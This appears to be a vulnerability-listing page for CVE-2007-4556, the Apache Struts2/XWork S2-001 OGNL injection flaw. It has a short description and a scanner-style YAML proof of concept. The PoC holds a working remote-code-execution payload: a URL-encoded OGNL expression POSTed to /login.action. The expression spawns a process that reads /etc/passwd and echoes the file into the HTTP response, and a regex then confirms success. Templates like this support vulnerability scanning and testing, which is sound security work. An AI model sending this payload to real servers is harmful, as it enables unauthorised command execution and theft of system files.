CVE-2007-4556: OpenSymphony XWork/Apache Struts2 - Remote Code Execution S2-001

2025-08-01 OpenSymphony XWork Apache Struts2 PoC Public

Description

Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.

PoC

id: CVE-2007-4556

info:
  name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution S2-001
  author: pikpikcu
  severity: critical
  description: |-
    Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
  reference:
    - https://www.guildhab.top/?p=2326
    - https://nvd.nist.gov/vuln/detail/CVE-2007-4556
    - https://cwiki.apache.org/confluence/display/WW/S2-001
    - http://forums.opensymphony.com/ann.jspa?annID=54
    - https://www.cnvd.org.cn/patchInfo/show/270651
  tags: cnvd,cnvd2007,xwork,struts2,rce
  created: 2023/06/23

rules:
  r0:
    request:
      method: POST
      path: /login.action
      body: |
        username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
    expression: response.status == 200  && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities